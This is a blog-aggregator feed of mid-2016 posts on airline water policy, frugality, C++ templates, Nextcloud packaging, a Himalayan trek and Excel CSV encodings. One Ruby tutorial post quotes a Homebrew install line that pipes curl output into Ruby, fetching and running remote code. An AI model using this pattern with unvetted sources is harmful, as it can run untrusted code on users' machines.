Free water in airplanes

D13V — Mon, 04 Jul 2016 03:00:00 GMT

TLDR: Hi WOW Air. Stop not providing free safe drinking water in airplanes. This is a cruel practice, driven by greed. You are endangering your passengers. I endorse your frugal policies to charge for extra baggage and food, but not providing safe water is a crime in my opinion.

Right now I am in an airplane of WOW Air. I’ve had a pleasant flight up until 20 minutes ago when I woke up from a nap. I get dehydrated quickly, so I finished the 24oz bottle of water that I brought with me, from the airport. This is at three and a half hour within an eight hour flight.

I went to the crew in the back of the airplane to request water. The stewardess told me they only have water for sale. If I want free water, she said, there is only airplane water from the toilets which is not safe to drink. A single half-liter bottle sells for $3.

They said that they would only give free water if someone desperately needs water. I told them I feel dehydrated, but they said they won’t give me water, because I am obviously not in a desperate need.

It is not acceptable for airlines to not provide a free drinking water. Nope. It is dangerous, and cruel.

I admire how cheap airlines reduce the cost by optimizing their cabin to be lighter and to have smaller seats. I even fully endorse them imposing strict limits to carry-on sizes and charging for checked luggage. I also agree that they charge for food. I think these decisions come from frugality, and they encourage passengers to be more frugal. Frugality helps those people and it helps the environment.

In flight entertainment, food, large seat cushions, and free checked luggage are not absolute human needs. We can all survive without them and purchase these extra comfort on our own, or bring our own solutions in the flight.

But water is a basic human need. Dehydration creeps in before “desperate” symptoms are visible. The air inside airplanes is dryer than average to reduce corrosion. Passengers have no other option to get water. It is not acceptable to starve passengers into dehydration.

Stop it, WOW. Stop it now. I bought my water because I could afford it and wanted clear mind to write this. I will dispute the transaction because it is illegal in my opinion. But another person might decide to wait it out and get dehydrated and die. If that happens, you’ll be a murderer.

I’m surprized that there is no regulation requiring free water. Or maybe there is one and you are breaking it.

Update Delayed Serial STONITH Design

smcleod.net — Mon, 04 Jul 2016 03:00:00 GMT

note: This is a follow up post from 2015-07-21-rcd-stonith

A Linux Cluster Base STONITH provider for use with modern Pacemaker clusters

This has since been accepted and merged into Fedora’s code base and as such will make it’s way to RHEL.

Source Code: Github
Diptrace CAD Design: Github
I have open sourced the CAD circuit design and made this available within this repo under CAD Design and Schematics
Related RedHat Bug: https://bugzilla.redhat.com/show_bug.cgi?id=1240868

`v1` vs `v2/v3` versions of the `rcd_serial` STONITH system

The v2/v3 cables include the following improvements:

Getting started with multi-tenancy on Rails

Gosha Spark — Mon, 04 Jul 2016 03:00:00 GMT

Enabling Gometalinter with Jetbrains Editors

Fabrice Aneche — Sun, 03 Jul 2016 09:15:43 GMT

I’ve been using Jetbrains editor (the free Idea community edition) or Pycharm with the Go plugins and very happy with this setup, the editor is providing some realtime linting but I was missing gometalinter. First install gometalinter go get -u github.com/alecthomas/gometalinter gometalinter --install --update To add support inside Jetbrains editors use the External tools feature. In Preferences > Tools > External Tools, add a configuration. Set the Program path to your $GOPATH/bin/gometalinter

Coffee bookmarks

xenodium.com @alvaro — Sun, 03 Jul 2016 03:00:00 GMT

Machine learning bookmarks

xenodium.com @alvaro — Sun, 03 Jul 2016 03:00:00 GMT

What is Chaos Testing / Engineering

Ben E. C. Boyter — Sat, 02 Jul 2016 10:48:29 GMT

A blog post by the excellent technical people at Netflix about Chaos Engineering and further posts about the subject by Microsoft in Azure Search prompted me to ask the question, What is chaos engineering and how can chaos testing be applied to help me?

What is Chaos Testing?

First coined by the afore-mentioned Netflix blog post, chaos engineering takes the approach that regardless how encompassing your test suite is, once your code is running on enough machines and reaches enough complexity errors are going to happen. Since failure is unavoidable, why not deliberately introduce it to ensure your systems and processes can deal with the failure?

How Dashboards Become Product Feature Landfills

Sam Solomon — Sat, 02 Jul 2016 03:00:00 GMT

Let’s be clear. I don’t like dashboards. As a whole, dashboards seldom provide value to users.

Data Structures and Algorithms in C++

june.kim — Fri, 01 Jul 2016 03:00:00 GMT

The First Thing I Tell New Engineers

Untrod — Thu, 30 Jun 2016 10:00:00 GMT

The first thing I tell junior programmers is: keep going.

If you've been programming a while, you know that feeling of encountering a new project, with a new stack, in a new language. The feeling is: OK. And you roll up your sleeves and get to work.

But do you …

The Code Book: The Science of Secrecy from Ancient Egypt to Quantum Cryptography

🦉 olshansky 🦁 — Thu, 30 Jun 2016 03:00:00 GMT

Olshansky's review of The Code Book: The Science of Secrecy from Ancient Egypt to Quantum Cryptography by Simon Singh

Does frugality help the environment?

D13V — Thu, 30 Jun 2016 03:00:00 GMT

I think there is an interesting correlation between being frugal and caring for and improving the natural environment. Thinking about this correlation led me to describe the wealth equation in my previous post

Lets be clear. The wealth equation is not an absolute or accurate truth. It is simply a model of the consequences of our actions. I made up this model to give me a framework to think about which actions would improve my well-being in the future. In that framework, I need consider all included variables, but there could be more, hidden variables that I haven’t figured out yet.

With that disclaimer, lets jump in.

A frugal person is a person who tries to minimize the monetary cost of their actions, and still trying to keep it lower than their useful need. For example, they might decide that they need nutrition, and buy rice and beans and eggs in bulk in order to keep the cost per meal miniscule.

A frugal person might go further and when comparing their options for which brand of rice and which brand of beans to buy, they might simply go with the cheapest option. There could be multiple explanations of why a given brand is cheaper than another.

First, the seller profit might be different. By buying the brand with less seller profit, the frugal person helps reinforce market dynamics and to make the product more of a commodity.

Then, there could be different fair prices for the natural resources. Imagine one brand claims that their product is of higher quality than the other. In that case, the frugal person determines the difference in useful need satisfied by both products and will select the cheaper product, unless the more expensive one really satisfies a lot more useful need.

Or, there could be a case where two competing of the same quality with the same seller profit cost differently, because in the production of the cheaper one, the manufacturer cut corners and dumped their dirty water without filtering it out, or used itself a supplier who cut corners. As a result the end product’s price will be lower, and it will be almost impossible for the consumer to determine the reason. In this case, a frugal consumer would buy the monetarily cheaper option but might incur some hidden environment cost.

In the last case, a well-meaning frugal person might get tricked into harming the environment.

Does that mean that being frugal hurts the environment? Not necessarily. I will argue that actually, being frugal correlates with being nicer to the environment.

My first argument is that the level of consumption of a frugal person is significantly lower than that a typical consumer. This generally means fewer chances to incur hidden environment cost. Even if the actions of a frugal person are on average more harmful, they under the upper bound of the useful need of that person. Heavy consumers on the other hand would buy a lot of items that they barely use, thus spending a lot more than their useful need, and being much more likely to have a higher environment impact.

Another argument is that as the frugal person focuses on reducing the monetary cost, they constantly re-evaluate and reduce their perception of useful need. They realize they can easily go without certain comforts and still have a life that is as good as before. So the total perceived need for them is much lower than the perceived need of the consumer. This further strengthens the previous argument.

Yet another supporting argument is that everything has at least some hidden environment cost, so more consumption always means more environment effect. I will consider a piece of fruit’s fair price to be at a fair price, if the cost covers all the resources required to produce the fruit, and then all the resources required to return the land to wilderness. Of course, most farmers don’t actually return their land to the wild. The piece of fruit will contain at least some hidden environment cost.

My conclusion is that frugality generally harms the environment less than spending does. It is not necessarily beneficial, and it can reduce overall wealth when frugal people buy products which harm the environment. Still, it is a small thing to ask of people - to minimize their spending. People cannot be thinking about all possible environment impacts when buying toilet paper. Looking at the price and quality is what all of us do when we buy stuff. The hidden environment cost is something to be dealt with separately. Just like we currently have “certified organic” and “certified fair trade” we can have “certified carbon neutral” or “certified wilderness neutral”.

Right now the closest we have is the “local” label. But that is bullshit. It means that less fuel was used to transporting this good. But we need to add up all environment cost, not just the gasoline cost. It is a Luddite fallacy.

As consumers we can push for products which reduce the hidden cost. It won’t be the most frugal thing to do, as the early producers will be able to gather up more of seller profit. But eventually, the production level will increase and the environmentally friendlier products will become a commodity, meaning that the seller profit will decrease.

So here is a dilemma. Do we opt for being frugal, or do we opt for getting the most environment friendly product? I don’t have a clear answer, but my preference would be optimizing for being frugal. It is the steady state situation if we ever eliminate the hidden environment cost. It is also self-serving, so we don’t always need to face internal conflict of whether to buy the cost effective option or the “certified pure nature” one. And I believe that frugality generally induces warmer feeling towards nature. So with the extra wealth we can gain from frugality, we can spend it on what we feel like - and we can spend more on improving the environment.

ZLog project update (mid-2016 edition)

Noah Watkins — Thu, 30 Jun 2016 03:00:00 GMT

Project funding, design updates, and improved performance.

Software at Companies that Don't Sell Software

Untrod — Wed, 29 Jun 2016 10:00:00 GMT

If you're a software professional, there are two types of companies you might work for; those whose products are fundamentally software (they make money directly from technology), and those that make their money some other way, but rely on software. Let's call the first Type A, and the second Type …

Building a WordPress Job Board

Sam Solomon — Wed, 29 Jun 2016 03:00:00 GMT

A couple weeks a go I put built a customer success job board for Trustfuel.

Sektor - draw and animate SVG sectors

Muffin Man — Wed, 29 Jun 2016 03:00:00 GMT

For a current project I'm on, we needed both circular timer, and progress bar. Again, I wasn't able to find small library to do that. But I found awesome answer on Stack Overflow, decided SVG is way to go, and wrote Sektor.

Sektor is a plain JavaScript library that draws circle sector (or an arc). Once it is drawn, you can change it's angle and animate the change.

It works in every browser with SVG and requestAnimationFrane support (IE10+ and modern browsers). Check demo and docs.

I may use this for example how much better is to use requestAnimationFrame than setInterval. If you are bored, try it yourself, and you'll see that animating using requestAnimationFrame is way smoother.

React component is coming soon as well. Cheers!

3 Rails hosting options

Gosha Spark — Tue, 28 Jun 2016 03:00:00 GMT

Pride '16

Avy Faingezicht — Mon, 27 Jun 2016 03:00:00 GMT

It is amazing to live in a city like San Francisco, where people can be whoever they want to be, without worrying about what others think. It is sad that something that simple can set this city apart from the rest. Our identities shape our lives. Might as well pick the ones that make us happy. Be proud of who you are, whatever that may be.

The wealth equation

D13V — Mon, 27 Jun 2016 03:00:00 GMT

I think that humans, and humanity in general are hard-wired to optimize our decisions for wealth. This has effect on the environment and our relations with each other.

Here are a couple of equations I came up with, to help me analyze specific situations in life:

wealth increase =
  + useful need
  - natural resources fair prices
  - total seller profit
  - hidden environment cost

monetary cost =
  + natural resources fair prices
  + total seller profit

Lets explain each term.

Wealth increase

This term refers to how much a given transaction, action, investment, or generally decision would affect the overall well-being of a person, or institution.

Useful need

This is synonymous to value derived by the person from the action. If I am hungry and I buy a sandwich, the sandwich immediately fulfills a need - nutrition. In normal situation, the value is not very high as we don’t immediately need to eat, though if we are very hungry, the value increases quite a lot. Being very hungry affects other parts of our well-being and decision making so handling the hunger we would avoid losing a lot of value on other actions.

On the other hand, if I had just eaten and am not hungry, then the need is zero, or even negative.

Natural resources needed

In the sandwich example, the resources include the bread, the vegetables, the cheese, the meat, the wrapping, or the partial cost of the plate, the cost of washing the plate, the proportional cost required to furnish the restaurant, the proportional cost of the utilities for the restaurant, etc. I want to measure this cost in terms of the base cost of the natural resources required for this. This cost is easy to determine, as generally natural resources are commodities with very well defined cost.

I do not want to measure this by the monetary cost of all of these, as it may vary wildly from place to place, and the person buying the sandwich has no control over any of it. When they buy the sandwich, they buy the whole package, or nothing.

Total seller profit

This includes all profit to the seller from all transactions required to produce the good, in the example case the sandwich. The restaurant bought the bread and the ingredients from producers, who made some profit. The restaurant also pays rent to a landlord, this is whole other action, in which the landlord makes profit.

The restaurant also pays certain utilities which are also actions of their own, sending some seller profit towards the providers of these utilities.

Hidden environment cost

By hidden environment cost, I mean the cost of all consequences of the use of the raw ingredients which is unavoidable to pay in the future. For example, some the sandwich ingredients were transported to the restaurant using vehicles which burn gasoline. Burning gasoline very likely has a hidden environment cost, global warming. If burning so much gasoline results in environment damage which causes 5 trillion dollars cost in 20 years, then the hidden cost of the action is the proportion of these 5 trillion attributed to the amount of gasoline burned for the transaction, at present value. Producing the ingredients might have other hidden cost, by creating water pollution, or disrupting fragile ecosystems. For example, for a ten dollar sandwich, the total hidden cost might be 40 cents.

The caveat, is that this hidden cost is not payed by the people making the sandwich transaction. This hidden cost is payed in the future, by everybody.

Corollaries

Having defined this basic equation, I will go on in the next few posts and discuss several important corollaries, not necessarily in the order below:

Carbon tax and other hidden cost neutralizers. Environmental debt, and the interest we pay for it.
Being frugal, when does it help the environment, and when it hurts.
Does giving tips benefit society?
Using commodities verses using designer products.
Investments which generate seller profit for us. How to find opportunity.

Working on a graphics editor. Have some Synthwave.

TOGoS's Project Log — Sun, 26 Jun 2016 21:13:37 GMT

Video Conference Part 4: Making RANS the Ryg way

Ben Garney — Sun, 26 Jun 2016 08:56:13 GMT

Last post, we got our networking stack up and running, figured out how to work around firewalls, and saw how our codec performs over a real network link. This motivated us to revisit our compression schemes, which is what we’ll do in today’s post. We’ll start with some algorithmic improvements to reduce the amount of […]

Video Conference Part 3: Getting Online

Ben Garney — Sun, 26 Jun 2016 08:42:59 GMT

Last time we got up close and intimate with the core compression techniques used in the JPEG format, and applied them to our own situation for better compression. We got our data rates low enough that we have a shot at realtime video under ideal network conditions. Now it’s time to actually send data over […]

Video Conference Part 2: Joint Photographic Hell (For Beginners)

Ben Garney — Sun, 26 Jun 2016 08:39:17 GMT

Last time, I got angry at Skype and metaphorically flipped the table by starting to write my own video conference application. We got a skeleton of a chat app and a video codec up, only to find it had a ludicrous 221 megabit bandwidth requirement. We added some simple compression but didn’t get much return from our […]

Video Conference Part 1: These Things Suck

Ben Garney — Sun, 26 Jun 2016 08:21:47 GMT

What I cannot create, I do not understand. – Richard Feynman I do a lot of video chat for work. If it’s not a one on one, it’s pair programming. If it’s not pair programming, it’s a client meeting. I use a lot of Skype and Hangouts. Sometimes they don’t work for unclear reasons. Sometimes […]

My Trip to Japan

Thomas Hunter II — Sun, 26 Jun 2016 03:00:00 GMT

P⋅O⋅L⋅L⋅E⋅N and Walk 'em ups

bastibe.de — Sun, 26 Jun 2016 03:00:00 GMT

I like boring games. I like games that give me time to think. Like flight simulators, truck simulators, history simulators, and (don't call them walking simulators) walk 'em ups. And this weekend, this year's Steam Summer Sale started, and thus it was time to get some gaming done!

First, I played Everybody's Gone to the Rapture, a walk 'em up that got good reviews, and was especially praised for it's story. And it dutifully enraptured me, with its British landscapes, and personal story lines. But somehow it didn't quite connect. Maybe I'm not British enough, and I certainly didn't get all of the story. Still, this is well worth picking up, and visiting a digital Shropshire after just having visited the real one earlier this year was a real treat!

Second, I played P⋅O⋅L⋅L⋅E⋅N. It did not start well: The download took ages, I had to unplug all that fancy flight simulation gear to get it to recognize my controller, and performance was rather lackluster. Oh, and reviews were rather mediocre, too. (Also, here's a free tip for you if you games developers: putting fancy Unicode characters into your game title does not improve SEO).

But, I entirely fell in love with P⋅O⋅L⋅L⋅E⋅N! You arrive on Titan) in your dinky near-future space capsule, take a short walk on the surface of the moon, and then explore the local space station. Of course, something went wrong, and the space station is deserted. Oh, and there is something about space bees.

What really worked for me here was the environmental story telling. This is a space station much in the tradition of 2001: A Space Odyssey and Alien. It's that perfect utilitarian and inhumanely sterile work place that human corporation always strive for, and human employees always mess up. The stark industrial bleakness of these space corridors is the perfect backdrop to make those little human irregularities really stand out.

There is no conflict, only light puzzles, and the story is developed only through voice diaries and environmental clutter. But in contrast to Rapture, it all makes sense. The futurist setting, the deep humanity of the people dealing with it. The creepiness of machines without operators. The struggle of the scientists and engineers against the forces of nature and greedy corporations. The nods —nay— genuflections to everything that has ever been great in Scifi. Even that Kubrick ending. I loved every inch of this! ★★★★★

Brexit is also a wake-up call for the Open Data movement

Welcome to Marco Fioretti's website! on Stop at Zona-M — Sat, 25 Jun 2016 20:32:41 GMT

What is Open Data? Open Data is something with which we can…

On Brexit, young people "betrayed" by their elders, and voting

Welcome to Marco Fioretti's website! on Stop at Zona-M — Sat, 25 Jun 2016 16:25:08 GMT

I have a strong feeling that certain headlines and assertions about the Brexit result are if not factually wrong, at least very misleading. I refer to statements that summarize charts and tables like the ones above in this way: “The U.K.’s Old Decided for the Young in the Brexit Vote” “Brexit is a middle finger from the baby boomers to young people like me” “Young screwed by older generations” “Young voters wanted Brexit the least - and will have to live with it the longest” Fact is, it was very clear, well before the vote, that opinions varied greatly across age ranges and that

Snapping Nextcloud: Nextcloud itself

kyrofa's blog — Sat, 25 Jun 2016 03:00:00 GMT

In the previous post of this series, we discussed the process of and lessons learned from building Redis for the Nextcloud snap. That means we’ve covered all the major pieces except for Nextcloud itself, so for this post that’s what we’ll focus on getting that into the snap. As I mentioned previously, Nextcloud is a PHP application. As such, it’s not difficult to get working with Apache or MySQL. However, it was written in such a way to make its deployment as easy as possible (e.

C++ variadic template example

Studiofreya SSG Site — Fri, 24 Jun 2016 19:49:04 GMT

Complete example with variadic templates

This is the least viable and one of the most simple examples on how to use C++11 Variadic Templates. This sample has been tested with Microsoft Visual Studio 2015 and GCC 4.7.3.

The code is also available at Github

This example will use perfect forwarding with variadic templates to create a class wrapper around a structure, which again call the correct constructors in the structure.

//=================================================================
//	VariadicTemplate.cpp:
//=================================================================

#include <iostream>
#include <memory>
#include <type_traits>

struct SomeStruct
{
	SomeStruct()
	{
		std::cout << "SomeStruct()\n";
	}

	SomeStruct(int a)
	{
		std::cout << "SomeStruct(int a)\n";
	}

	SomeStruct(const std::string & str)
	{
		std::cout << "SomeStruct(const std::string & str)\n";
	}

	SomeStruct(const std::string & str, int a)
	{
		std::cout << 
			"SomeStruct(const std::string & str, int a)\n";
	}

};


template<typename T>
class ClassWrapper
{
	public:
		typedef T					type;
		typedef std::unique_ptr<T>	type_ptr;
		typedef ClassWrapper<T>		this_type;

	public:
		template<typename ... Args>
		static type_ptr Create(Args&&...args)
		{
			return type_ptr(
				new T(std::forward<Args>(args)...)
			);
		}

};

int main(int args, char ** argv, char ** arge)
{
	// Create a typedef to safe typing
	typedef ClassWrapper<SomeStruct>	CWSS;

	// Exercise the different SomeStruct 
	// constructors (ctor) through ClassWrapper  
	auto p1 = CWSS::Create();
	auto p2 = CWSS::Create(123);
	auto p3 = CWSS::Create("string");
	auto p4 = CWSS::Create("string", 234);

	/*
	Output should be:
	SomeStruct()
	SomeStruct(int a)
	SomeStruct(const std::string & str)
	SomeStruct(const std::string & str, int a)
	*/

	return 0;
}

Ramsay Bolton's sub story

D13V — Fri, 24 Jun 2016 03:00:00 GMT

This essay contains SPOILERS for Game of Thrones, season 6 episode 9x.

In this episode we see Jon Snow, the “good guy”, meet Ramsey Bolton, the horrible monster character in battle. The good guy’s army wins by last minute support by the knights of the Vale, and the bad guy is given a gruesome death at the mouths of his hounds, starved for seven days.

Viewers get giddy at the death of Ramsay, as Sansa, the girl he had raped and tortured gets her revenge. Finally the bad guy gets what he deserved…

Lets zoom in here. To call Ramsay “bad guy” is quite an understatement as he enjoys torturing and humiliating people for its sake. The books set him up as a terrible person, and the show goes much further, making him one of the main hated characters. He is cunning, clever, merciless and tortuous. All of this builds up towards the final scene where he is defeated.

So it seems like the audience has won. The people they root for got victorious and the bad guy got served. But not really.

The viewers got served. Of course Ramsay will eventually lose. This is the story which sells best. It is just entertainment. GRRM figured out that it is quite entertaining for people when they don’t know what will happen, so he engineered a plot in which the expected champion of the “good side” does not win (i.e. red wedding), and we are gradually let to simpatize with characters we hated before and to dislike characters we were rooting for.

That’s in the books. In the show,… it is business as usual. The show entertains by sticking to a plot. The story development is entertaining. The keyword is story. The show and the books are entertaining because they follow a story. And this constrains them. For there to be a story, there need to be a conflict, development and resolution. If they only include one or two of these parts, it wouldn’t be a complete story. And stories are what sell the books and get people to watch the show. Stories are entertainment.

I noticed a different type of “entertainment” in Hemingway’s stories. I was reading one of them, from his book “In our time”. In the story, based in a small Italian village after WWI, a German couple visits is recruited by a drunk old vet to go fishing out of season. As they get near the river, the couple gradually bails out. As a story, it is quite a shitty and boring story.

But what makes the story entertaining, is the emotional dynamic between the subjects. The couple had some quarrel during lunch which affects the tone with which they talk to each other. The old drunkard has different motivations - to live off of their generosity as a guide, instead of doing hard labor. There is a back-story which is only hinted about with clues. Reading the story again and again creates a fuller picture of the situation, and changes our interpretation.

Hemingway’s tale is entertaining because it is like a puzzle. What appears initially to be the story, is not the actual story by rather a camouflage of the sub-story. Getting to the sub-story is requires a bit of work from the reader, and could be quite strenuous, but then the view and the feeling is powerful and moving.

I still love watching “Game of Thrones”, even though Ramsay’s death didn’t have much of a sub-story. The quality of execution in the show is world-class. The acting is often phenomenal, and the story is captivating. I’m looking forward to the season finale this Sunday. I also love reading the books. They actually contain quite a bit of sub-story.

Looking for the sub-stories makes “Game of Thrones” and the whole ASOIAF series not just entertaining, but also transformative.

Snapping Nextcloud: The memcache

kyrofa's blog — Fri, 24 Jun 2016 03:00:00 GMT

In the previous post of this series, we discussed the process of and lessons learned from building MySQL for the Nextcloud snap. The last piece of infrastructure we need to introduce is the memcache, for which we’ll use Redis. Nextcloud supports a number of memcache backends; I chose Redis because it can provide both a local cache as well as file locking, so for this post that’s what we’ll focus on getting into the snap.

Trello vs. Asana

Untrod — Thu, 23 Jun 2016 10:00:00 GMT

In two totally different companies over the past 4 years, across different personalities, teams, and processes, I've seen Asana rejected no fewer than a dozen times in favor of Trello, in spite of multiple executive mandates to use Asana.

In both companies, management (of which I am a part) made …

Ruby Tutorial 001

Josh Thompson — Thu, 23 Jun 2016 03:00:00 GMT

I’m playing with Michael Hartl’s Learn Enough Ruby book.

I’ll throw basic things I learn along the way on here.

A good starting point is using your command line. I use iTerm2 for my terminal instead of the default Terminal installation.

To get up and running in your terminal, you might start using Homebrew. It’ll install programs you will want/need easily, and keep them up to date. Lots of tools you need have installation instructions that says

To install:

brew install wget

Which means, in your terminal, type brew wget and Homebrew will install the application, all dependencies, and will keep it up to date.

How do you install Homebrew? Per their instructions, copy-paste the following to your terminal:

/usr/bin/ruby -e “$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)

So, your first program to download can be iTerm2. Once brew is installed, type this into your terminal:

brew install iterm2

And you’ve got it installed!

Additional resources:

http://www.howtogeek.com/211541/homebrew-for-os-x-easily-installs-desktop-apps-and-terminal-utilities/

Winter trip to Prashar

Over the Hills — Thu, 23 Jun 2016 03:00:00 GMT

Prashar is a small lake situated in the Himalayan foothills, about 49 km north of Mandi town in Himachal Pradesh. The lake lies in between the Dhauladhar and the Pir Panjal ranges and offers breathtaking views of both. Prashar is accessible by road most of the year except in the winter from late December to February. There is also a 7 km trail that starts from a village named Baagi that is accessible almost throughout the year. Reaching there My idea was to hitch-hike up the road from Baagi as there was little news about the trail conditions. Reaching Baagi proved to be much easier than expected. I took a bus from Delhi on Friday night and reached Mandi at 5:30 am next morning only to be jolted by the chilly morning air. After quickly adding layers of warm clothing, I asked about the buses to Baagi and Prashar. The only bus to Prashar leaves Mandi at 7:45 am but there was an earlier bus that could drop me about 4 kms from Baagi. I took this bus and got off at a fork in the road somewhere between the villages of Kataula and Baagi It was about 23 km to Prashar and I started walking along the empty road. On the way, I hitched a ride with a confident, young man on a scooter. He had quit a well paying job in a city because he wanted to serve his state and its people. To my surprise, he was following the road just to enjoy the ride and to watch the sunrise from a nice vantage point. We said our goodbyes after chatting for some time and I continued alone up the road. First view of the Pir Panjal with Deo Tibba in the center After about an hour’s walk, I was surprised to see a bus come up behind me. Glad to have some company, I got into it and was happy to be dropped at a point which was about 7 km from the lake. From that point, I had the caretaker of the Forest Rest House for company and we took a short cut through the woods to reach the top of a small hill. The road was pretty much straight after that and went along a ridge with fabulous views of the Dhauladhar and Pir Panjal ranges. The environs Having used all possible modes of transportation, I was surprised to find myself at the Forest Rest House by noon. The lake is about half a kilometre from the rest house. I dropped my stuff and had some hot tea before making a move towards it. The lake and the temple complex The lake itself is situated in a bowl shaped depression which results in it getting lesser snow than its surroundings. In mid-December, only one side of it had snow whereas the other half was dry. With a clear blue sky and hardly any breeze, the lake was serene and reflections of the afternoon sun sparkled on its surface. The three tier temple dedicated to Sage Prashar The temple of sage Prashar adjoining the lake is believed to be from the 13th century and is made up mostly of wood and stone. It is an interesting three tier pagoda like structure having a conical top tier mounted on two pyramidal ones. On the inside, the woodwork is carved in medieval Indian tradition with figures of numerous deities as well as intricate geometric patterns. The doorway to the temple is framed in distinct patterns, of which the one depicting a couple of knotted snakes is almost lifelike. Inside the temple stands a statue of Sage Prashar. Carvings on the temple facade Getting back On my way back, I decided to take the trail and started off at about 9:30 in the morning. The trail can be divided into two parts — the upper half that goes through a grassland and the lower half through a thick pine forest. The upper part was covered almost entirely under a few inches of snow and going down was great fun as the snow provided some good cushioning. The caretaker told me to follow the electricity lines till the start of the forested part. At that point, the lines run straight into the forest and you need to take the path that starts a few meters towards their right. A Gujjar hut on the snow covered trail Just before the start of the forest, a beautiful pool of water came into view just off the trail. The water in the pool had frozen into a thick sheet of ice and seemed to be a good place to try my ice skating skills. After making sure that the ice was solid and a few tries of slow skating, I ran onto the ice sheet in an attempt to skate over it. Alas!!! The next moment only made me remember what I had learnt in high school physics — that the coefficient of friction between anything and ice is very low. The result was an embarrassing crash into the ice sheet that literally broke the glass. That I survived the crash without any broken bones was the only comforting factor. The latter half of the trek was completed in due silence and with an effort to minimize all risk. Half a kilometre from Baagi, a mini landslide had washed away the main trail and I had to figure out a detour. From Baagi, another good fellow dropped me to Kataula from where I took a bus to Mandi. Overall, the trip was quite rewarding and besides the crash on the ice everything else played out really well. The majestic, almost 270° views of the Himalayas that the place offers along with the ease of reaching Prashar really makes it a great weekend escape. That said, I will leave you with a few more panoramic views of the mountains. The Pir Panjal Morning sun on the Dhauladhar

Snapping Nextcloud: MySQL

kyrofa's blog — Thu, 23 Jun 2016 03:00:00 GMT

In the previous post of this series, we discussed the process of and lessons learned from building PHP 7 for the Nextcloud snap. Nextcloud supports a number of databases, but they recommend MySQL (the v9 docs that I used when making this decision are lost to the dust of time, but MySQL is still the recommended option in v21), so for this post that’s what we’ll focus on getting into the snap.

The Missing Git Command: The power of git blame without the blaming

Joshua Rogers — Wed, 22 Jun 2016 15:00:00 GMT

The Worst Thing Ever I know the worst code that I've ever professionally written. It was an overly generic UI component. It managed to combine a total misunderstanding of MVC, heavy constructors, an overly broad interface that leaked abstraction like a sieve, empty methods, liberal use of Object, and was driven by unexceptional-exceptions. Oh, and it couldn't be resized. Not that any of that mattered. Despite all of the odds against it, it worked quite well from the user's perspective.

Learn enough CSS to mark up a PSD

Gosha Spark — Wed, 22 Jun 2016 03:00:00 GMT

Scraping the Web with AWS Lambda and PhantomJS

Artem Krylysov — Wed, 22 Jun 2016 03:00:00 GMT

Here are the slides from my talk "Scraping the Web with AWS Lambda and PhantomJS" given at Greater Philadelphia AWS User Group meetup on May 25, 2016.

You can find the source code of PhantomJS/Node.js web scraper for AWS Lambda at https://github.com/akrylysov/lambda-phantom-scraper.

Snapping Nextcloud: PHP 7

kyrofa's blog — Wed, 22 Jun 2016 03:00:00 GMT

In the previous post of this series, we discussed the process of and lessons learned from building Apache for the Nextcloud snap. Nextcloud is a web application written in PHP, so for this post we’ll focus on getting PHP into the snap. PHP 7, like Apache, is included in the Ubuntu archives. However, I was planning on using the PHP Apache module, and since I was building Apache from source, I figured there’d be a lot of hoops for me to jump through if I tried to shoehorn the .

CSV: An Encoding Nightmare

Donat Studios — Tue, 21 Jun 2016 03:17:57 GMT

UPDATE 2019-01-16: In the three years since this article was written, parts of the article, in particular talking about UTF-8 are thankfully no longer accurate.

It would appear in a recent update Microsoft has added support for safely reading and writing UTF-8 CSVs to Excel. There is a new format in the save dialog CSV UTF-8 (Comma delimited) which is distinct from Comma Separated Values which is also still in there.

~~In my testing it appears to safely both load and save. Best of all it appears if there is a BOM, it leaves it, if there isn't it doesn't add one. Very nice handling indeed.~~

UPDATE 2022-07-22:

It would appear that the stricken above was incorrect. Current versions of Excel will only reliably load a UTF-8 CSV if a UTF-8 BOM is in place.

The company I work for manages a self-service data import system, handling information from school districts “Student Information Systems”. There are hundreds if not thousands of SIS’s out there, but what the vast majority have in common is the ability to export CSV. It is the lingua franca, everyone can get us CSVs.

CSV to the casual observer seems a simple portable format, but its looks are deceiving. If the data is pure ASCII (bytes 0-127) you’ll be fine. However, if there is a need for any sort of non-ASCII character, there is some work ahead.

In our case, handling school data from around the world, correctly handling non-ASCII characters is of the utmost importance.

Excel: A World of Hurt

The biggest problem is not CSV itself, but that the primary tool used to interact with it is Excel. Excel handles CSV encodings badly.

Creating a new document in Excel and saving as ”Comma Separated Values (.csv)” it uses your locale’s Windows or Mac codepage. Win-1252 and MacRoman respectively in the United States. If your codepage doesn’t support a character in your document, it will be silently replaced with an underscore _ character.

Because it uses codepages and not a Unicode encoding, it makes processing a painful chore. There is no way to tell the difference between different 8-bit codepages programatically.

One can use heuristics to sort them into an order of likelihood, but there is no way to ever know for sure. We chose to present the user with previews of the most likely codepages, and let them pick the correct one.

Excel for Mac: Broken Beyond Belief

The Macintosh version of Microsoft Excel is particularly harrowing.

As I mentioned above, Excel saves your CSV in your locales codepage. One should note that the Mac codepages fell out of use with OS 9, almost 15 years ago. Microsoft did not get that memo.

While that by definition makes the CSVs the Mac version of Excel exports unusable on Windows, the problem is more unfortunate than that. The Mac version can only read the locales Windows codepage.

That means the Mac version of Excel cannot read CSVs it wrote. That's pathetic.

If you had any extended characters when you saved, they are scrambled when you reopen it. This problem has persisted in every version of Mac Excel up to the current Excel 2016.

One simply cannot safely open a CSV created with the Mac version of Excel, on any platform, anywhere.

UTF-8? What’s that?

UTF-8 is the encoding of the 21st Century. It was quick in overtaking every other encoding. Almost every modern application supports it. This will be easy and we’ll be fine? Not so fast.

If one attempts to open a CSV file encoded as UTF-8 without a Byte Order Mark (BOM) as recommended, any non-ASCII characters are again scrambled.

This is the CSV format Apple’s Numbers exports by default, UTF-8 sans BOM.

If we try it again with a UTF-8 BOM prepended to the file and Excel will read it. This is deceptive because once saved the text will remain correctly encoded UTF-8, but bizarrely the BOM will be stripped causing the file to no longer be correctly readable.

Many naïve application output UTF-8 + BOM CSVs, and they read correctly but do not write correctly. I’ve seen this cause all sorts of headaches because it appears to work but does not.

The Right Way Functional Workaround

As of this writing, there exists a single usable CSV format that Microsoft Excel can both read and write safely across platforms. Tab delimited UTF-16LE with leading Byte Order Mark.

Using Excel to output into this format to begin with, you have to use the Save As dialog and choose “UTF-16 Unicode Text (.txt)”. Frustratingly, it includes a .txt extension by default which can be confusing for non-technical users. However, if you provide clear instructions to Windows users to save their filename in quotes with a CSV extension such as "example.csv" it is workable.

If you operate an application with a CSV exporter please use this as your default export format. It will save us all many headaches in the long run.

Transplant, revisited

bastibe.de — Tue, 21 Jun 2016 03:00:00 GMT

